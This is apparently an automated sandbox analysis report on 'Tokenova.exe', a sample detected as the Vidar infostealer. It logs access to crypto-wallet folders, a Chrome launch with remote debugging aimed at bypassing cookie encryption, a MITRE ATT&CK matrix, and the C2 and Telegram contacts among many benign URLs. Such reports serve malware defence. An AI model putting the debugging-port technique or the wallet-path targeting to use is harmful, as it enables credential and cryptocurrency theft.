Source: C:\Users\user\Desktop\Tokenova.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Source: Yara match	File source: 00000000.00000002.2730139698.0000000001926000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Tokenova.exe PID: 5888, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\Tokenova.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"

Yara detected Vidar stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: 00000000.00000003.2724521262.0000000003953000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2723544261.0000000003941000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2303749879.0000000001926000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Tokenova.exe PID: 5888, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 Registry Run Keys / Startup Folder	11 Process Injection	1 Masquerading	2 OS Credential Dumping	11 Query Registry	Remote Services	11 Input Capture	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	1 Registry Run Keys / Startup Folder	1 Virtualization/Sandbox Evasion	11 Input Capture	1 Security Software Discovery	Remote Desktop Protocol	4 Data from Local System	1 Remote Access Software	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	11 Process Injection	1 Credentials in Registry	1 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Extra Window Memory Injection	1 DLL Side-Loading	NTDS	1 Process Discovery	Distributed Component Object Model	Input Capture	4 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Extra Window Memory Injection	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	15 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	23 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Tokenova.exe	5%	ReversingLabs

Source	Detection	Scanner	Label
http://anglebug.com/7760ty	0%	Avira URL Cloud	safe
https://fua.4t.comT	0%	Avira URL Cloud	safe
http://unisolated.invalid/U	0%	Avira URL Cloud	safe
http://anglebug.com/5430y	0%	Avira URL Cloud	safe
https://fua.4t.comx	0%	Avira URL Cloud	safe
https://fua.4t.com/	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
fua.4t.com	94.130.190.206	true	true	unknown
chrome.cloudflare-dns.com	162.159.61.3	true	false	high
s-part-0044.t-0009.fb-t-msedge.net	13.107.253.72	true	false	high
a416.dscd.akamai.net	2.16.164.104	true	false	high
t.me	149.154.167.99	true	false	high
a-0003.a-msedge.net	204.79.197.203	true	false	high
c-msn-pme.trafficmanager.net	13.74.129.1	true	false	high
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	high
ax-0001.ax-msedge.net	150.171.27.10	true	false	high
sb.scorecardresearch.com	18.244.18.32	true	false	high
www.google.com	142.250.185.68	true	false	high
e28578.d.akamaiedge.net	95.101.182.88	true	false	high
googlehosted.l.googleusercontent.com	142.250.184.193	true	false	high
clients2.googleusercontent.com	unknown	unknown	false	high
bzib.nelreports.net	unknown	unknown	false	high
assets.msn.com	unknown	unknown	false	high
c.msn.com	unknown	unknown	false	high
ntp.msn.com	unknown	unknown	false	high
api.msn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://assets.msn.com/bundles/v1/edgeChromium/latest/vendors.bd02dd0f5f9b69ef8b17.js	false		high
https://deff.nelreports.net/api/report?cat=msn	false		high
https://c.msn.com/c.gif?rnd=1740530960850&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=1d0eccd37a754ff28b0c2f0e3c1cd4bf&activityId=1d0eccd37a754ff28b0c2f0e3c1cd4bf&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0	false		high
https://assets.msn.com/bundles/v1/edgeChromium/latest/microsoft.974be19b726ee5d36d07.js	false		high
https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&startpage=1&PC=U531	false		high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1740530960849&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true	false		high
https://ntp.msn.com/edge/ntp?locale=en-GB&title=New+tab&enableForceCache=true	false		high
https://assets.msn.com/statics/icons/favicon_newtabpage.png	false		high
https://assets.msn.com/bundles/v1/edgeChromium/latest/common.e407aa81c62081bf13cf.js	false		high
https://fua.4t.com/	true	Avira URL Cloud: malware	unknown
https://c.msn.com/c.gif?rnd=1740530960850&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=1d0eccd37a754ff28b0c2f0e3c1cd4bf&activityId=1d0eccd37a754ff28b0c2f0e3c1cd4bf&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=B39669277CC0429C8ACD112E36742257&MUID=19864E076BCC62AD0BBF5B986ACB63EF	false		high
https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw	false		high
https://t.me/g02f04	false		high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1740530963530&w=0&anoncknm=app_anon&NoResponseBody=true	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://anglebug.com/7760ty	chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://clients3.google.com/cast/chromecast/home/wallpaper/image?rt=b	chrome.exe, 00000003.00000002.2428686241.0000134400760000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/4633	chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/chrome/tips/gsOpen	chrome.exe, 00000003.00000002.2426514606.00001344001C4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7382	chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ntp.msn.cn/edge/ntp	2cc80dabc69f58b6_1.8.dr	false		high
http://polymer.github.io/AUTHORS.txt	chrome.exe, 00000003.00000003.2357002536.0000134400EE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2359157584.0000134400784000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2359742467.000013440120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2358461651.0000134401028000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2359178980.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2359207001.0000134400F48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2359133040.0000134400C50000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2429300259.000013440097F000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2357055272.000013440100C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2357243621.000013440105C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2359636796.0000134401128000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2359526888.0000134400420000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2357691391.0000134400F20000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/	chrome.exe, 00000003.00000003.2345525888.0000134400490000.00000004.00000800.00020000.00000000.sdmp, manifest.json0.8.dr	false		high
https://docs.google.com/presentation/ogl	chrome.exe, 00000003.00000002.2426514606.00001344001C4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://unisolated.invalid/	chrome.exe, 00000003.00000002.2429300259.000013440094C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://photos.google.com?referrer=CHROME_NTP	chrome.exe, 00000003.00000003.2359742467.000013440120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2359636796.0000134401128000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2359526888.0000134400420000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive.google.com/?lfhs=2ation.Result	chrome.exe, 00000003.00000002.2432025171.0000134401088000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/6929	chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.googl0	chrome.exe, 00000003.00000002.2427092858.00001344002FC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7246	chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7369	chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7489	chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive-daily-2.corp.google.com/	chrome.exe, 00000003.00000003.2345525888.0000134400490000.00000004.00000800.00020000.00000000.sdmp, manifest.json0.8.dr	false		high
http://polymer.github.io/PATENTS.txt	chrome.exe, 00000003.00000003.2357002536.0000134400EE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2359157584.0000134400784000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2359742467.000013440120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2358461651.0000134401028000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2359178980.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2359207001.0000134400F48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2359133040.0000134400C50000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2429300259.000013440097F000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2357055272.000013440100C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2357243621.000013440105C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2359636796.0000134401128000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2359526888.0000134400420000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2357691391.0000134400F20000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.youtube.com/rval	chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://issuetracker.google.com/161903006	msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	Tokenova.exe, 00000000.00000002.2731739439.0000000004C0B000.00000004.00000020.00020000.00000000.sdmp, Tokenova.exe, 00000000.00000003.2468642568.0000000004C0B000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2428328008.00001344006A4000.00000004.00000800.00020000.00000000.sdmp, ct00zu.0.dr	false		high
https://drive-daily-5.corp.google.com/	chrome.exe, 00000003.00000003.2345525888.0000134400490000.00000004.00000800.00020000.00000000.sdmp, manifest.json0.8.dr	false		high
https://docs.google.com/spreadsheets/u/0/create?usp=chrome_actions	chrome.exe, 00000003.00000002.2428686241.0000134400760000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2431034314.0000134400D54000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2427810039.0000134400508000.00000004.00000800.00020000.00000000.sdmp	false		high
https://myaccount.google.com/data-and-privacy?utm_source=ga-chrome-actions&utm_medium=managePrivacy	chrome.exe, 00000003.00000002.2431402392.0000134400E2C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2428686241.0000134400760000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2427810039.0000134400508000.00000004.00000800.00020000.00000000.sdmp	false		high
https://permanently-removed.invalid/v1/issuetoken	msedge.exe, 00000006.00000003.2473670172.0000199C00270000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2474550708.0000199C00274000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/4722	chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	false		high
https://m.google.com/devicemanagement/data/api	chrome.exe, 00000003.00000002.2426514606.00001344001C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2343945573.00001344001C8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://permanently-removed.invalid/reauth/v1beta/users/	msedge.exe, 00000006.00000003.2473670172.0000199C00270000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2474550708.0000199C00274000.00000004.00000800.00020000.00000000.sdmp	false		high
https://chrome.google.com/webstoreD	chrome.exe, 00000003.00000002.2428243253.0000134400670000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/presentation/u/0/create?usp=chrome_actions	chrome.exe, 00000003.00000002.2428686241.0000134400760000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2431034314.0000134400D54000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2427810039.0000134400508000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive-daily-4.c	chrome.exe, 00000003.00000002.2427092858.00001344002FC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	Tokenova.exe, 00000000.00000002.2731739439.0000000004BED000.00000004.00000020.00020000.00000000.sdmp, Tokenova.exe, 00000000.00000002.2731739439.0000000004B30000.00000004.00000020.00020000.00000000.sdmp, jw4w4o.0.dr	false		high
https://srtb.msn.cn/	2cc80dabc69f58b6_1.8.dr	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	Tokenova.exe, 00000000.00000002.2731739439.0000000004BED000.00000004.00000020.00020000.00000000.sdmp, Tokenova.exe, 00000000.00000002.2731739439.0000000004B30000.00000004.00000020.00020000.00000000.sdmp, jw4w4o.0.dr	false		high
https://assets.msn.cn/resolver/	2cc80dabc69f58b6_1.8.dr	false		high
https://publickeyservice.pa.gcp.privacysandboxservices.com	chrome.exe, 00000003.00000003.2386275131.0000134401680000.00000004.00000800.00020000.00000000.sdmp	false		high
https://browser.events.data.msn.com/	2cc80dabc69f58b6_1.8.dr	false		high
https://permanently-removed.invalid/RotateBoundCookies	msedge.exe, 00000006.00000003.2473670172.0000199C00270000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2474550708.0000199C00274000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/document/dogl	chrome.exe, 00000003.00000002.2432025171.0000134401088000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3502	chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3623	msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3625	msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3624	msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	jw4w4o.0.dr	false		high
http://anglebug.com/3862	chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	false		high
http://unisolated.invalid/U	chrome.exe, 00000003.00000002.2429300259.000013440094C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ntp.msn.com/edge/ntp	2cc80dabc69f58b6_1.8.dr, 000003.log2.8.dr	false		high
https://chrome.google.com/webstoreLDDiscover	chrome.exe, 00000003.00000003.2353878624.0000134400C68000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354328820.0000134400C50000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2362358231.0000134400C98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2355331752.0000134400C60000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430610937.0000134400C78000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2358977389.0000134400C98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2351702923.0000134400C50000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2359818960.0000134400328000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2353991535.0000134400C98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2431810799.0000134400F88000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2353878624.0000134400C6E000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2357934090.0000134400C98000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/4836	chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	false		high
https://issuetracker.google.com/issues/166475273	msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.ico	chrome.exe, 00000003.00000002.2430381237.0000134400BDC000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.openssl.org/support/faq.html	Tokenova.exe	false		high
http://anglebug.com/3970	chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	false		high
https://fua.4t.comT	Tokenova.exe, 00000000.00000002.2730139698.0000000001926000.00000004.00000020.00020000.00000000.sdmp, Tokenova.exe, 00000000.00000003.2303749879.0000000001926000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://anglebug.com/5430y	chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://apis.google.com	chrome.exe, 00000003.00000002.2427605624.0000134400484000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/chrome/tips/gsD	chrome.exe, 00000003.00000002.2431577687.0000134400EAC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.all	Tokenova.exe, 00000000.00000002.2735146318.000000000539D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://polymer.github.io/CONTRIBUTORS.txt	chrome.exe, 00000003.00000003.2357002536.0000134400EE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2359157584.0000134400784000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2359742467.000013440120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2358461651.0000134401028000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2359178980.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2359207001.0000134400F48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2359133040.0000134400C50000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2429300259.000013440097F000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2357055272.000013440100C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2357243621.000013440105C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2359636796.0000134401128000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2359526888.0000134400420000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2357691391.0000134400F20000.00000004.00000800.00020000.00000000.sdmp	false		high
https://google-ohttp-relay-query.fastly-edge.com/2P	chrome.exe, 00000003.00000003.2386275131.0000134401680000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2387891470.00006ACC00974000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2341889901.00006ACC0071C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://fua.4t.comx	Tokenova.exe, 00000000.00000002.2730139698.0000000001926000.00000004.00000020.00020000.00000000.sdmp, Tokenova.exe, 00000000.00000003.2303749879.0000000001926000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://drive-daily-5.corp.go	chrome.exe, 00000003.00000002.2427092858.00001344002FC000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/5901	chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	false		high
